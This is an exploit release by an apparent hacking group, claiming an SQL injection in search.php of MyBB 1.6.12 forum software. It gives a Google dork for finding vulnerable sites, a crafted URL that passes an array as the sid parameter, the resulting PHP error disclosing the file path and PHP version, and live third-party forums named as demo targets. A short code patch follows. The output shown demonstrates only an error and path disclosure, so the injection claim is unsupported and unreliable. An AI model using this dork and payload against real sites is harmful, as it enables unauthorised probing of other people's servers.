MyBB 1.6.12 SQL Injection

`**************************************************  
IIIIIIII RRRRRRRRRRRR HHHHHHHH HHHHHHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRRRRRRRR HHHHHHHHHHHHHHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIII RRRR RRRR HHHH HHHH  
IIIIIIII RRRRRRRR RRRRRR HHHHHHHH HHHHHHHH  
***************************************************  
  
# Exploit Title: MYBB 1.6.12 search.php Sql injection  
  
# Google Dork: intext:"powered by Mybb"  
  
# Date: Feb 14, 2014  
  
# Exploit Author: MR.XpR  
  
# Tested on: 7 , Kali  
  
# Screen Shot : http://uploaderx.persiangig.com/C/mybb_sqli_error.png  
  
# Software Link : http://resources.mybb.com/downloads/mybb_1612.zip  
  
# Version: 1.6.12  
  
# Vendor Site : http://mybb.com  
  
***************************************************  
  
Exploit :  
  
search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=  
  
Demo :  
  
http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=  
  
Error :  
  
Warning [2] mysqli_real_escape_string() expects parameter 2 to be string,  
array given - Line: 874 - File: inc/db_mysqli.php PHP 5.4.19  
  
-1~dotdeb.1 (Linux)  
  
Exm :  
  
http://my-bb.ir/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=  
http://community.mybb.com/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=  
http://www.mybb.fr/search.php?action=results&sid[0]=9afaea732cb32f06fa34b1888bd237e2&sortby=&order=  
  
  
***************************************************  
  
How To patch :  
  
edit search.php and find this line :  
  
  
$sid = $db->escape_string($mybb->input['sid']);  
  
  
change this line to :  
  
  
if(is_array($mybb->input['sid']))  
$sid = $db->escape_string(implode($mybb->input['sid']));  
else  
$sid = $db->escape_string($mybb->input['sid']);  
  
  
TnX To :  
  
MojiRider,V30sharp,Black.viper,Zer0killer,SecretWalker,FarBodEzrail,Amirio,AL1R3Z4,3is@  
,Mr.a!  
  
i,Mr.3ler0n,Irblackhat,inj3ct0r,3inst3in,Remot3r,IRH Member  
  
./IRaNHaCK.org  
`